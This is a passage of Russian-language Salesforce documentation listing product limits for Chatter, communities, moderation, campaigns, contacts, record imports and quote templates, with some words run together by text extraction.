Администраторы Salesforce могут настраивать общий доступ к пользователям для отображения или сокрытия
внутреннего или внешнего пользователя от другого пользователя организации.

Ограничения для утверждений Chatter
Ограничениядляутверждений, охватывающиеделегированныхответственныхзаутверждение, сообщенияобутверждениях
и пользователей Sites или портала.

• Функция «Утверждения в Chatter» не поддерживает делегированных ответственных за утверждение и очереди.

• Запрос на утверждение не может быть отозван или переназначен посредством сообщения. Оба действия должны
выполняться в записи утверждения.

• СообщенияобутверждениинемогутбытьудаленыпосредствомпользовательскогоинтерфейсаSalesforce; рекомендуем
использовать API.

• Запросы на утверждение, отправленные пользователями портала или Sites, не поддерживаются.

Ограничения для Chatter Plus
Ограничения для функций Chatter Plus (также называется Chatter Only).

Лицензия Chatter Plus (или Chatter Only) предназначена для пользователей Performance Edition, Unlimited Edition, Enterprise
Edition и Professional Edition без лицензий Salesforce, которым требуется доступ к некоторым объектам Salesforce и Chatter.

Пользователи Chatter Plus могут иметь доступ к стандартным профилям, группам, файлам и людям Chatter, а также могут
выполнять указанные ниже действия.
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• Просмотр организаций и контактов Salesforce

• Использование приложения Salesforce CRM Content, а также сообществ «Идеи» и «Ответы»

• Доступ к отчетам и панелям мониторинга

• Использование и утверждение бизнес-правил

• Использование календаря для создания и отслеживания действий

• Просмотр и изменение не более 10 настраиваемых объектов

• Добавление записей в группы

Прим.: Рекомендуем предоставить профилю «Пользователь Chatter Only» доступ ко вкладкам для стандартных
объектов Salesforce, которые по умолчанию не отображаются.

Версия Professional Edition позволяет выполнятьданныедействия толькоприподдержкепрофилей. Дополнительную
информацию можно получить в компании Salesforce.

ОграничениеФункция Chatter Plus

Не ограниченоКоличество лицензий Chatter Plus в организации

20 МбОбъем хранилища данных на пользователя Chatter Plus

612 МбОбъем хранилищафайлов на пользователя Chatter Plus
(версия Professional Edition)

2 ГбОбъем хранилищафайлов на пользователя Chatter Plus
(версии Enterprise Edition, Performance Edition и Unlimited
Edition)

Ограничения для функции отслеживания ленты

ВЕРСИИ

Доступно в версиях:

Ограничения для отслеживания объектов, полей и тем.

• При включениифункции отслеживания ленты для организаций-лиц пользователи
могутотслеживатьипросматриватьобновлениядляполейорганизаций, нонеполей
контактов.

• Функция отслеживания ленты для событий не охватывает запрошенные встречи.
Запрошенная встреча может быть добавлена в ленту после ее подтверждения и преобразования в событие.

• Несмотря на возможность отслеживания действий и статей базы знаний в ленте Chatter, кнопка «Отслеживать»
недоступна в столбце «Действие» списковых представлений действий и статей базы знаний.

• Выключение функции отслеживания ленты для тем блокирует возможность отслеживания новых тем, но не
препятствует отслеживанию тем, отслеживаемых ранее. Данные темы учитываются ограничением по количеству
отслеживаемыхлюдей, теми записей. Чтобыотменитьотслеживание темпосле выключенияфункцииотслеживания
ленты, воспользуйтесь интерфейсом Chatter REST API.

Ограничения для функции отслеживания ленты внешних объектов
• Внешние объекты не поддерживают функцию отслеживания журнала поля.

• ЛентызаписейнеподдерживаютсявнешнимиобъектамиLightning Connect, которыесоотносятсяскрупнымивнешними
источниками данных.
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Общие ограничения для Chatter
Ограничения для функций Chatter по версиям, а также ограничения обозревателя и ограничения для упоминаний.

Ограничения для Chatter по функциям
Ограничения могут быть изменены. Дополнительную информацию можно получить в компании Salesforce.

ОграничениеФункция

Группы

3001Количество групп для участия

Архивные группыне учитываются данным
ограничением.

30,000

Архивные группыне учитываются данным
ограничением.

Количество групп в организации

Не ограниченоКоличество участников в группе

4000Количество символов в поле группы «Сведения»

25 МбМаксимальный размер сообщения эл. почты при
публикации в группу посредством эл. почты (включая
текст и вложения)

25Количество вложений, доступное для публикации в
группу посредством эл. почты

Ленты

25Количество упоминаний в отдельном сообщении или
комментарии

500 символов для личного имени и
фамилии пользователя или имени группы

Количество символов в критерии поиска упоминания

10,000Количество символов в отдельном сообщении или
комментарии

10Количество электронных уведомлений, отправляемых
после добавления комментария или выбора
понравившегося сообщения

Не ограниченоКоличество закладок

50Количество избранных записей

5002Количество отслеживаемых людей, тем и записей
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ОграничениеФункция

500 последних сообщений. Данное
ограничение не применяется к лентам
профилей, групп и записей.

Максимальное количество сообщений, которое может
отображаться в ленте в любое заданное время

Файлы

2 ГбРазмер файлового вложения

100Количество публикацийфайла

Люди и профили

8 МбРазмер фотографии для профиля

10Количество пользователей для добавления в чат

100Количествопользователейдля добавленияв списокчата
«Мое избранное»

10,000Количество символов в сообщении Chatter

Навыки

100Количество навыков, назначенных пользователю

99Количество символов в имени навыка

Темы

10Количество тем в отдельном сообщении

100Количество тем в отдельной записи

99Количество символов в имени темы

1Данноеограничениеохватываетвсе группы, кромеархивных. Например, пользователь, являющийсяучастником 300 групп
(включая 10 архивных), может стать участником только 10 дополнительных групп.
2Разрешаетсяотслеживатьнеболее 500людей, теми записей. Чтобыпросмотреть количествоотслеживаемыхэлементов,
воспользуйтесь списком «Отслеживание» в профиле.

Сообщения и комментарии, публикуемые пользователями в Chatter, сохраняются на протяжении всего времени
предоставления доступа к соответствующей организации клиента. Компания salesforce.com оставляет за собой право
применять указанные ниже ограничения.

• Количество системных отслеживаемых обновлений ленты. В настоящее время отслеживаемые обновления ленты,
которые были опубликованы более 45 дней назад и не содержат комментариев или предпочтений, удаляются
автоматически. Отслеживаемые обновления ленты больше не отображаются в ленте. Тем не менее, пользователям
доступен контрольный журнал для отслеживаемого поля, поддерживающего функцию аудита.

• Количество электронных уведомлений, доступное для организации в течение одного часа.
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Ограничения обозревателя для Chatter
Некоторые сторонние модули и расширения веб-обозревателя могут препятствовать нормальной работе Chatter. При
возникновении ошибок или несогласованного поведения Chatter рекомендуем отключить все модули и расширения
веб-обозревателя и повторить попытку.

Ограничения для упоминаний Chatter
Упоминания недоступны для архивных групп, неуказанных групп, групп клиентов и личных групп без своего участия.
Если пользователь, который не является участником личной группы, упоминается в сообщении или комментарии
относительно данной личной группы, то ссылка упоминания отображается серым цветом. При наличии полномочия
«Изменениевсехданных» ссылкаотображаетсясинимцветом. Темнеменее, приложениеподдерживаетмерыбезопасности
и правила общего доступа, применяемые в системе Salesforce. Пользователи, которые не являются участниками личной
группы, не имеют доступа к личной группе и не могут просматривать или получать уведомления об опубликованных
обновлениях.

СМ. ТАКЖЕ:

Ограничения для утверждений Chatter

Ограничения для Chatter Plus

Ограничения для файлов в Chatter

Ограничения по поиску для файлов Chatter

Ограничения для списковых представлений в лентах
Ограничения для списковых представлений в лентах записей.

ЧтобыпросмотретьлентуChatter, содержащуюобновлениядля записейданногосписковогопредставления, добавленные
за последние 30 дней, нажмите кнопку «Сhatter» в списковом представлении стандартного или настраиваемого
объекта.

Ниже перечислены ограничения, применяемые к лентам Chatter в списковых представлениях.

• Некоторыеобъекты, отслеживаемыелентами, неподдерживаютлентуChatter, связаннуюссоответствующимсписковым
представлением. ВнастоящеевремялентыChatterмогутбытьпросмотренывсписковыхпредставленияхвозможностей,
организаций, обращений, интересов, кампаний, контактов и настраиваемых объектов.

• Если организация использует функцию планирования с помощью перетаскивания для списковых представлений,
то ленты Chatter не отображаются в списковых представлениях организаций, контактов и интересов.

Ограничения по поиску для файлов Chatter
Ограничения по поиску, применяемые к типу и размеру файла Chatter.

Функция поиска поддерживает несколько типов файлов и использует ограничения по их размеру. Если размер файла
превышаетмаксимальнодопустимый, топоискпо тексту данногофайлане выполняется, номожетбыть выполненпоиск
по имени, описанию, типу или ответственному.

Максимальный размер файла для
поиска по тексту

Расширения файлаТип файла

5 Мб.htm, .html, .xhtmlHTML
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Максимальный размер файла для
поиска по тексту

Расширения файлаТип файла

25 Мб.pdfPDF

25 Мб.ppt, .pptx, .pptmPPT

5 Мб.rtfRTF

5 Мб.c, .cpp, .css, .csv, .ini, .java,
.log, .sql, .txt

Текст

25 Мб.doc, .docx, .docmWord

5 Мб.xls, .xlsx, .xlsmXLS

5 Мб.xmlXML

СМ. ТАКЖЕ:

Ограничения по поиску документов

Ограничения для Salesforce CRM Content

Ограничения по общему доступу к пользователям в Chatter
Администраторы Salesforce могутнастраиватьобщийдоступкпользователямдляотображенияилисокрытиявнутреннего
или внешнего пользователя от другого пользователя организации.

Прииспользовании Chatter существуютисключения, позволяющиепользователям, которыенеявляютсяобщедоступными,
просматривать и взаимодействовать друг с другом. Например, любой пользователь, имеющий доступ к общедоступной
группе Chatter, можетпросматривать все сообщенияиименапользователей, публикующихсообщения, а также упоминать
пользователей, комментирующих сообщения, независимо от параметров общего доступа к пользователям.

Пример: Например, организациянастраиваетобщийдоступкпользователям, запрещающийпользователямМария
иИванпросмотривзаимодействиедруг с другом. Предположим, чтоМарияпубликует сообщениевобщедоступной
группе Chatter. Она не может упомянуть Ивана, так как параметры общего доступа к пользователям препятствуют
отображениюегоименивраскрывающемсясписке упоминаний. Темнеменее, Иванможетпросмотреть сообщение
Марии и опубликовать свой комментарий. В этом случае Мария сможет упомянуть Ивана в своем следующем
комментарии к сообщению.

Ограничения для сообществ

Ограничения для сообществ, в том числе пользователей, роли на портале, модерирование, создание отчетов и др.

Ограничение по максимальному количеству сообществ
В организации Salesforce можно создать до 50 сообществ. Сюда относятся активные, неактивные сообщества и
сообщества предварительного просмотра, в том числе сайты Force.com.
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Ограничения для сайтов сообществ
Сайты сообществподдерживаютнекоторыеограничения, влияющиенаработупользователей. Данныеограничения
применяютсятолькоприпредоставлениинепровереннымпользователямдоступакстраницамсообщества, созданным
посредством Force.com Sites.

Ограничения для пользователей сообществ
Ограничения для пользователей на основе типа сообщества.

Ограничения для ролей портала
Ограничения для ролей портала, установленные для организации.

Ограничения для сообщений эл. почты групп сообществ
Ограничения для сообщений электронной почты групп сообществ

Ограничения для пользователей сообществ организации-лица
Ограничения по количеству доступных внешних пользователей организации-лица, которыми может владеть один
пользователь.

Ограничения для отчетов и панелей мониторинга для сообществ
Еслидля сообщества доступнывкладки «Отчеты» и «Панелимониторинга», внешниепользователиполучаютдоступ
к отчетам и панелям мониторинга с определенными ограничениями.

Ограничения для навигационных тем сообществ
Максимальное число навигационных тем и подтем для использования в сообществе Napili.

Ограничения по модерированию сообществ
Ограничения по модерированию сообщества гарантируют оптимальную работу сообщества.

Ограничение по максимальному количеству сообществ
Ворганизации Salesforceможносоздать до 50 сообществ. Сюдаотносятся активные, неактивныесообществаи сообщества
предварительного просмотра, в том числе сайты Force.com.

Чтобы просмотреть это ограничение в организации, введите строку «Сообщества» в поле «Быстрый поиск» меню
«Настройка» и выберите пункт «Все сообщества». В поле «Максимальное число сообществ» отображается значение
50.

СМ. ТАКЖЕ:

Ограничения для сообществ

Ограничения для сайтов сообществ
Сайты сообществ поддерживают некоторые ограничения, влияющие на работу пользователей. Данные ограничения
применяются только при предоставлении непроверенным пользователям доступа к страницам сообщества, созданным
посредством Force.com Sites.

Максимальное
количество
просмотров страниц

Время запроса на
обслуживание (за истекшие
сутки на сайт)

Ограничение пропускной
способности (за истекшие сутки
на сообщество)

Версия

—10 минут500 МбDeveloper Edition
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Максимальное
количество
просмотров страниц

Время запроса на
обслуживание (за истекшие
сутки на сайт)

Ограничение пропускной
способности (за истекшие сутки
на сообщество)

Версия

500,00030 минут для безопасной среды

60 часов для производственной
среды

1 Гб для безопасной среды

40 Гбдляпроизводственнойсреды

Enterprise Edition

1,000,00030 минут для безопасной среды

60 часов для производственной
среды

1 Гб для безопасной среды

40 Гбдляпроизводственнойсреды

Unlimited Edition

Performance Edition

Пропускная способность
Количество мегабайт, переданных и принятых сервером-источником сообщества и сервером кэширования.
«Сервер-источник» — это веб-сервер, используемый для размещения сайта сообщества. «Сервер кэширования» —
это CDN-сервер, обслуживающий кэшированные страницы сайта сообщества.«Истекшие сутки» — это последние
24 часа, предшествующие текущему времени.

Время запроса на обслуживание
Общее время сервера (в минутах), необходимое для создания страниц сообщества.

«Истекшие сутки» — это последние 24 часа, предшествующие текущему времени.

Просмотр страницы
Запрос от непроверенного пользователя сообщества на загрузку страницы, связанной с сообществом. Запросы от
проверенных пользователей сообщества не считаются просмотрами страниц.

Просмотры страниц вычисляются ежесуточно (по Гринвичу). Счет выставляется исходя из количества ежемесячных
просмотров страниц, приобретенного для организации. Данное ограничение является общим для всех сайтов
организации.

Прим.: Пропускная способность и просмотры страниц «Превышено ограничение», «Обслуживание», «Страница
не найдена» или выбранных неактивных начальных страниц не учитываются заданными ограничениями.

СМ. ТАКЖЕ:

Ограничения для сообществ

Ограничения для пользователей сообществ
Ограничения для пользователей на основе типа сообщества.

Чтобы избежать ошибок развертывания и снижения качества обслуживания, рекомендуем отслеживать количество
пользователей сообщества, котороене должнопревышатьперечисленныхнижеограничений. Чтобыувеличить данные
ограничения, обратитесь к менеджеру по работе с клиентами Salesforce. Превышение данных ограничений может
инициировать повышение текущих платежей и снижение производительности.

Количество пользователейТип сообщества

300,000Partner Community или Customer Community Plus
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Количество пользователейТип сообщества

10 millionCustomer Community

СМ. ТАКЖЕ:

Ограничения для сообществ

Ограничения для ролей портала
Ограничения для ролей портала, установленные для организации.

Максимальноеколичестворолейпорталадляорганизациисоставляет 5 000. Данноеограничениеохватываетролипортала,
связанныесовсемиклиентскимипорталами, партнерскимипорталамиилисообществамиорганизации.Чтобыизбежать
ненужногоувеличенияданногоколичества, рекомендуемрегулярнопроверятьисокращатьколичестворолейдлякаждого
портала и сообщества. Кроме того, рекомендуем удалять неиспользуемые роли портала. Чтобы увеличить количество
ролей портала, обратитесь в службу поддержки Salesforce.

СМ. ТАКЖЕ:

Ограничения для сообществ

Ограничения для сообщений эл. почты групп сообществ
Ограничения для сообщений электронной почты групп сообществ

При использовании сообществ параметр «Уведомлять о каждом сообщении» отключается, если этот параметр для
группы выберут более 10 000 участников. Всем участникам, выбравшим данный параметр, автоматически назначается
параметр «Ежедневные рассылки».

СМ. ТАКЖЕ:

Ограничения для сообществ

Ограничения для пользователей сообществ организации-лица
Ограничения по количеству доступных внешних пользователей организации-лица, которыми может владеть один
пользователь.

Пользователю Salesforce может принадлежать не более 1 000 пользователей портала организации-лица. Сюда относятся
пользователи организаций-лиц с лицензиями Customer Community Plus, Customer Portal и другими лицензиями портала
на основе ролей. Пользователиорганизаций-лиц с лицензиямимассовогопортала, напримерHigh Volume Customer Portal
или Customer Community, не попадают под это ограничение. Пользователи с лицензиями партнерского портала или
Partner Community не могут быть пользователями организаций-лиц, так что это ограничение для них не действует.

СМ. ТАКЖЕ:

Ограничения для сообществ
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Ограничения для отчетов и панелей мониторинга для сообществ
Если для сообщества доступны вкладки «Отчеты» и «Панели мониторинга», внешние пользователи получают доступ к
отчетам и панелям мониторинга с определенными ограничениями.

Важное замечание: Преждечемразрешить внешнимпользователямсозданиеиредактированиеотчетов, убедитесь,
чтоорганизацияиспользуетрасширеннуюмодельобщегодоступа. См. документ «Общийдоступкпапкеаналитики».

Ниже перечислены лицензии, которым могут быть предоставлены полномочия для создания и редактирования отчетов
для пользователей сообщества.

Лицензии сообществ

• Customer Community Plus

• Customer Community Plus Login

• Partner Community

• Partner Community Login

Лицензии портала

• Менеджер клиентского портала

• Менеджер клиентского портала: настраиваемый (для пользователей «Управления предприятием»)

• Менеджер клиентского портала: стандартный

• Менеджер клиентского портала: пользователь

• Золотой партнер

• Портал «Только идеи»

• Менеджер клиентского портала: настраиваемый (избыток)

• Менеджер клиентского портала: стандартный (избыток)

• Партнер

• Серебряный партнер (данной лицензии недоступно полномочие «Экспорт отчетов».)

Прим.:

• Данныеполномочиянедоступнымассовымлицензиям (например, Customer Communityили «Массовыйклиентский
портал», портал Service Cloud и «Проверенный веб-узел»).

• Внешние пользователи с устаревшими лицензиями портала могут создавать и редактировать отчеты только в
сообществах.

После предоставления доступа внешние пользователи по-прежнему не могут выполнять следующие действия.

• Планирование обновления и отправки отчетов или панелей мониторинга по эл. почте.

• Обновлениепанелеймониторингадляпросмотрапоследнихданных (вотличиеотвнешнихпользователей, имеющих
доступ суперпользователя).

• Создание, редактирование или просмотр отчетов в папке «Изъятые общедоступные отчеты»

Ниже перечислены действия, которые доступны внешним пользователям, имеющим доступ суперпользователя
(пользователи-партнерысполномочием «Доступсуперпользователя-партнера» ипользователи-клиентысполномочием
«Суперпользователь портала»).

• Возможность выбора для параметра «Запустить в качестве определенного пользователя».

• Обновление доступных панелей мониторинга.
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Внешние пользователи, имеющие доступ суперпользователя, могут обновлять панели мониторинга, настроенные
посредством параметров «Запустить в качестве определенного пользователя» и «Запустить в качестве пользователя,
выполнившего вход в систему», не более 100 раз в день для одной организации. Данное ограничение не учитывает
запланированные и автоматические обновления. Ограничения по обновлению отсутствуют для внутренних
пользователей.

После исходного обновления кэширование данных выполняется в течение 24 часов.

СМ. ТАКЖЕ:

Настройка функции управления отчетами для внешних пользователей: создание и редактирование отчетов

Предоставление доступа суперпользователя пользователям-клиентам сообщества

Предоставление доступа суперпользователя пользователям-партнерам сообщества

Ограничения для сообществ

Ограничения для навигационных тем сообществ
Максимальное число навигационных тем и подтем для использования в сообществе Napili.

Ограничения для навигационных тем
Нижеприведеномаксимальноечислонавигационныхтемивложенныхтем, которыеможетсодержатьшаблонсообщества
Napili.

Максимальное количество записейУровень

25Одна (родительская)

10Две (вложенная тема)

10Три (вложенная тема)

СМ. ТАКЖЕ:

Ограничения для сообществ

Ограничения по модерированию сообществ
Ограничения по модерированию сообщества гарантируют оптимальную работу сообщества.

Ограничения для критериев
• Вспискекритериеввашейорганизацииможетсодержатьсядо 30 ключевыхслов. Данноеограничениераспространяется

на организацию, но не сообщество.

• Список ключевых слов может содержать не более 2 000 ключевых слов.

• Присопоставленииключевыхсловисозданногопользователемсодержимогорегистриконечныезнакипрепинания
пропускаются. Например, критерий, содержащий BadWord, считается совпадением при вводе BADWORD или
badword.
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Ограничения для ключевых слов
• Keywords can be up to 100 characters and can include letters, numbers, spaces, and special characters.

• Специальные символы не поддерживаются.

• Разделите ключевые слова запятыми или разрывами строк.

• При добавлении ключевых слов разрешается одновременно копировать и вставлять не более 32 000 символов.

Ограничения для правил
• Ваша организация может установить до 30 правил. Данное ограничение распространяется на организацию, но не

сообщество.

• Каждое правило может использовать не более трех критериев.

• Сначалазапускаютсяправила, блокирующиесодержимое, затемправила, заменяющиеего, азатемправила, помечающие
контент. При выполнении одинакового действия как минимум двумя правилами сначала выполняется более старое
правило.

СМ. ТАКЖЕ:

Ограничения для сообществ

Ограничения для функций

Ограничения для действий
Рекомендации по использованию задач и событий.

Ограничения для кампаний
Ограничения для иерархий кампаний, контактов и временного интервала влияния.

Ограничения контактов
Ограничения для контактов, связанных с организациями-компаниями.

Ограничения для ролей контактов
Роли контактов имеют определенные ограничения.

Ограничения по импорту организаций и записей
Ограничения по импорту данных на основе типа записи.

Ограничения для организаций-лиц и организаций-компаний
Ограничения для полей организаций-лиц и организаций-компаний.

Ограничения для смет
Ограничения для шаблонов смет и PDF-файлов.

Ограничения для расписаний
Ограничения для типов расписаний, доступных организации.

Ограничения для функции управления территориями предприятия
Ограничениядлямоделей, территорийиправилназначенияприиспользованиифункцииуправления территориями
предприятия.
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Ограничения автоматизации процессов
Ограничения для бизнес-правил и утверждений зависят от версии вашей организации.

Ограничения для карт и служб расположений
Ограничения для просмотров карты на пользователя.

Ограничения API-интерфейса REST для отчетов и панелей мониторинга
Ограничения API-интерфейса REST для отчетов и панелей мониторинга.

Ограничения для компонентов Visualforce

Ограничения для компонентов и страниц Visualforce.

СМ. ТАКЖЕ:

Ограничения и рекомендации для Visual Workflow

Ограничения для действий
Рекомендации по использованию задач и событий.

Отображение имени приглашенного вместо имени организатора события в поле ответственного за событие
Поле «Назначено» любого списка, созданного посредством интерфейса API и содержащего как минимум одного
приглашенного, может отображать имя приглашенного вместо имени ответственного за событие.

Частичная поддержка настраиваемых отчетов на основе объекта «Взаимосвязи действия» при отсутствии функции
«Общедоступные действия»

Если организация не используетфункцию «Общедоступные действия», то настраиваемые отчеты на основе объекта
«Взаимосвязи действия» не содержат организаторов событий и приглашенных, а также не отображают события без
приглашенных.

Отображение имени приглашенного вместо имени организатора события в поле
ответственного за событие
Поле «Назначено» любого списка, созданного посредством интерфейса API и содержащего как минимум одного
приглашенного, может отображать имя приглашенного вместо имени ответственного за событие.

Частичная поддержка настраиваемых отчетов на основе объекта «Взаимосвязи
действия» при отсутствии функции «Общедоступные действия»
Если организация не использует функцию «Общедоступные действия», то настраиваемые отчеты на основе объекта
«Взаимосвязи действия» не содержат организаторов событий и приглашенных, а также не отображают события без
приглашенных.

Ограничения для кампаний
Ограничения для иерархий кампаний, контактов и временного интервала влияния.
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Ограничения для иерархий кампаний
Иерархиикампанийпозволяютанализироватьи создаватьотчетыпосостояниюсвязанныхкампаний. Пользователи
могут группировать кампании в рамках конкретной маркетинговой программы или инициативы путем связывания
кампаний посредством взаимосвязи поиска.

Ограничения для временного интервала влияния кампании
Поле «Временной интервал влияния кампании» определяет максимальное количество дней влияния кампании.

Ограничения по добавлению контактов или интересов в кампанию
Кампания — это внешний маркетинговый проект (например, прямые почтовые рассылки, семинары, печатные
объявления, эл. почта или другие типы маркетинговых инициатив).

Ограничения для иерархий кампаний
Иерархии кампаний позволяют анализировать и создавать отчеты по состоянию связанных кампаний. Пользователи
могут группировать кампании в рамках конкретной маркетинговой программы или инициативы путем связывания
кампаний посредством взаимосвязи поиска.

Иерархия может содержать не более пяти уровней. Каждая кампания может иметь только одну родительскую кампанию,
но неограниченное количество одноуровневых кампаний.

Ограничения для временного интервала влияния кампании
Поле «Временной интервал влияния кампании» определяет максимальное количество дней влияния кампании.

Максимально допустимое значение: 9 999 дней.

Ограничения по добавлению контактов или интересов в кампанию
Кампания — этовнешниймаркетинговыйпроект (например, прямыепочтовыерассылки, семинары, печатныеобъявления,
эл. почта или другие типы маркетинговых инициатив).

Ниже перечислены ограничения, действующие при добавлении текущих клиентов (контактов) или потенциальных
клиентов (интересов) в кампанию.

Табл. 58: Ограничения по добавлению контактов

Максимальное количество записейИсточник добавления контактов

50 000 на отчетОтчет

50 000 на импортированныйфайлCSV-файл

250 на страницу со спискомСписковое представление

Табл. 59: Ограничения по добавлениюинтересов

Максимальное количество записейИсточник добавления интересов

50 000 на отчетОтчет

50 000 на импортированныйфайлCSV-файл

250 на страницу со спискомСписковое представление
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Ограничения контактов
Ограничения для контактов, связанных с организациями-компаниями.

Контакты — это люди, связанные с организациями-компаниями, которые отслеживаются в системе Salesforce. Каждый
контакт содержит самые разные сведения (например, номера телефонов, адреса, должности и роли в сделках).

Ограничения по общему доступу к контактам
• Предоставление общего доступа к контактам недоступно для организаций, поддерживающихфункцию управления

территориями или организации-лица.

• Стандартные уровни доступа организации не могут быть дополнительно ограничены.

• Контактыиинтересы, приглашаемыена событие, должныбытьдоступныкакминимумдлячтения. Ресурсможетбыть
приглашен на событие только при наличии как минимум полномочия «Добавить события».

• Контакты, которые не связаны с организациями, являются личными, независимо от модели общего доступа,
используемой в организации. Контакты могут быть просмотрены только ответственными и администраторами.
Правила общего доступа и бизнес-правила не применяются к личным контактам. Если организация использует
подразделения, то личные контакты всегда принадлежат глобальному подразделению.

• Еслиорганизациянедоступнаполучателю, тообщийдоступк контактуможетбытьпредоставлентолькоприналичии
полномочия на общий доступ к организации.

• Если единому стандартному параметру для компании задано значение «Контролируется родительским объектом»,
параметры «Доступ к контакту» при публикации связанных записей (например, организаций) будут недоступны.
Любой доступ к контактам будет определяться доступом пользователя к организации контакта.

• Если единому стандартному параметру для контактов задано значение «Контролируется родительским объектом», а
единомустандартномупараметрудляорганизацийзаданозначение «Личный», топользователинемогутпросматривать
контакты для чужих организаций даже при наличии полномочия «Просмотреть все» для организаций. Однако при
наличии собственного контакта в организации пользователь может просматривать другие контакты этой же
организации. (Доступ к родительской организации открывает доступ и к связанным дочерним записям.)

Ограничения для объединения контактов
• Изменить макет страницы «Объединить мои контакты» нельзя.

• Во время поиска контактов для объединения невозможно добавлять фильтры для критериев поиска.

• Для объединенных контактов связанные ленты Chatter не сохраняются.

Ограничения для импорта контактов из списков контактов на мобильных устройствах
• Приимпортеконтактовсустройства Android или iOS спомощьюSalesforce1ворганизациюSalesforce с активированными

полями раскрывающегося списка «Область» и «Страна» поле «Область» не заполняется.

• Еслив контактемобильного устройства естьнесколькополейдлямобильныхномеров телефонов, аполе «Телефон»
в Salesforce не заполнено, происходит следующее.

– Первое поле для мобильного телефона соотносится с полем «Телефон» в Salesforce.

– Второе поле для мобильного телефона соотносится с полем «Мобильный телефон» в Salesforce.

• При выборе адресов электронной почты на мобильном устройстве Salesforce1 обычно извлекает расположение
второго адреса электронной почты. Если на устройстве были созданы метки, средство интеграции попытается
соотнести локальный рабочий адрес электронной почты со стандартным адресом в Salesforce.
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Ограничения для журнала контакта
• Журнал контакта не фиксирует изменения, вносимые в связанные списки контакта.

Ограничения для включения и управления клиентским порталом для контактов и
организаций-лиц
• Делегированные администраторы не могут назначать контактам лицензию «Массовый клиентский портал».

• При создании пользователя-клиента в API-интерфейсе для него не будет выбрано полномочие пользователя Chatter
Answers.

• Пользователиорганизаций-лиц, попытавшиесясамостоятельнозарегистрироватьсянаклиентскомпортале, получают
по электронной почте уведомление с просьбой обратиться к администратору портала. См. раздел «Включение входа
и параметров клиентского портала» на странице 2662.

• Организации-лица, для которых включена поддержка клиентского портала, не могут быть объединены.

• Организации-лица, для которых включена поддержка клиентского портала, не могут быть удалены.

• Контакты, которым предоставлен доступ к партнерскому порталу, могут быть перенесены только в те организации,
для которых включена поддержка партнерского портала.

Ограничения для смены организаций в контактах, включенных для портала
самообслуживания
• Контакты, являющиесяпользователямипортала самообслуживанияна странице1881, могутпросматриватьнапортале

самообслуживания только обращения, связанные с текущей организацией.

• Пользователи портала самообслуживания не могут просматривать возможности.

Ограничения для удаления портала самообслуживания для контактов и
организаций-лиц
• Активный пользователь портала самообслуживания не может быть удален. При необходимости можно только

деактивировать доступ пользователя к порталу самообслуживания.

• Контактилиорганизация-лицо, связанные с активнымпользователемпортала самообслуживания, такженеподлежат
удалению. Чтобы удалить контакт или организацию-лицо, рекомендуем сначала отключить доступ активного
пользователя к порталу самообслуживания.

Ограничения для ролей контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

Роли контактов имеют определенные ограничения.

• Контакт, страница сведений о котором используется для создания возможности,
становитсяосновнымконтактомвозможности. Обратитевнимание, чторольконтакта
должна быть назначена вручную.

• Переключатель «Основной» недоступен для ролей контактов в обращении.
Основной контакт в обращении — это контакт, указанный в поле «Имя контакта»
раздела «Сведения об обращении».
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Ограничения по импорту организаций и записей
Ограничения по импорту данных на основе типа записи.

Пользователимогутимпортироватьданныеизприложения ACT!, Outlook илилюбойдругойпрограммы, поддерживающей
сохранение данных в CSV-формате (например, Excel или GoldMine).

ДоступноОграничение по импорту записейТип записи

Все пользователи500 за разСобственные организации-компании
и контакты

Администраторы;

Пользователи с полномочием
«Изменение всех данных»

50 000 за разОрганизации-компании и контакты
других пользователей

Все пользователи50 000 за разСобственные организации-лица

Администраторы;

Пользователисполномочием «Импорт
организаций-лиц»

50 000 за разОрганизации-лица других
пользователей

Администраторы;

Пользователи с полномочиями
«Чтение», «Создание» и

50 000 за разИнтересы

«Редактирование» для интересов и
полномочием «Импорт интересов»

Администраторы;

Пользователи Marketing (или
пользователисполномочием «Импорт

50 000 для импорта интересов в
качестве новых участников кампании
и обновления статуса текущих
участников кампании.

Участники кампании

интересов» и полномочием
«Редактирование» для кампаний) могут
импортировать новые интересы в
качестве участников кампании. Кроме
того, пользователям требуется
полномочие «Чтение» для контактов,
позволяющее использовать мастер
обновления кампаний для добавления
текущих интересов и контактов в
качестве участников кампании.

Администраторы;

Пользователи с полномочием
«Изменение всех данных»

50 000 за разНастраиваемые объекты

Администраторы;

Пользователисполномочием «Импорт
решений»

50 000 за разРешения
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ДоступноОграничение по импорту записейТип записи

Данные записинемогут бытьимпортированыпосредствоммастеровимпорта.Активы

Обращения

Кампании

Контракты

Документы

Возможности

Продукты

Размер файла импорта не должен превышать 100 Мб, а размер каждой записи в файле — 400 Кб. Кроме того, размер
любогоимпортируемогопримечанияилиописанияне долженпревышать 32 Кб. Описания, размер которыхпревышает
32 Кб, подлежат усечению.

СМ. ТАКЖЕ:

Ограничения для организаций-лиц и организаций-компаний

Ограничения для организаций-лиц и организаций-компаний
Ограничения для полей организаций-лиц и организаций-компаний.

Если организация использует организации-лица, то страница «Поля организаций» содержит поля организаций-лиц и
организаций-компаний.Организации-лицаиспользуютполяорганизацийиконтактов. Нижеперечисленыполяконтактов,
доступные для организаций-лиц, но недоступные для организаций-компаний.

• Поля в списке «Организация: стандартные поля», помеченные значком организации-лица.

• Поля в списке «Контакт: настраиваемые поля и взаимосвязи».

Ограничения для смет
Ограничения для шаблонов смет и PDF-файлов.

Ограничения для шаблонов смет
В некоторых случаях поле может не отображаться на палитрешаблонов смет или в PDF-документе, созданном на основе
шаблона.

• Текстовые поля недоступны для использования в шаблонах смет, если размер поля по умолчанию превышает 255
символов.

• Поле, котороенеможетбытьпросмотреноилиобновленоввиду заданныхпараметровбезопасности, неотображается
в PDF-документах, созданных на основе шаблона, даже в том случае, если оно добавлено в шаблон. PDF-документы
отображают только поля, доступные для чтения.

• Поле, которое отображается в макете страницы сметы, но не содержит значения для данной сметы, отображается на
палитре шаблонов смет, но не отображается в PDF-документах, созданных на основе данной сметы.
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• Пустые поля элемента строки сметы не отображаются в виде столбцов списка при создании PDF-документа, даже в
том случае, если они добавлены в шаблон. Например, если элементы строки сметы не содержат скидку, то столбец
«Скидка» не отображается даже в том случае, если поле «Скидка» добавлено в список.

• Связанныйсписок, отсутствующийвмакете страницысметы, неотображаетсянапалитрешаблоновилив PDF-сметах,
использующих данный макет страницы.

Ограничения для PDF-смет
• Текстовые поля, отображаемые в связанном списке PDF-сметы, усекаются до 256 символов. Данное ограничение

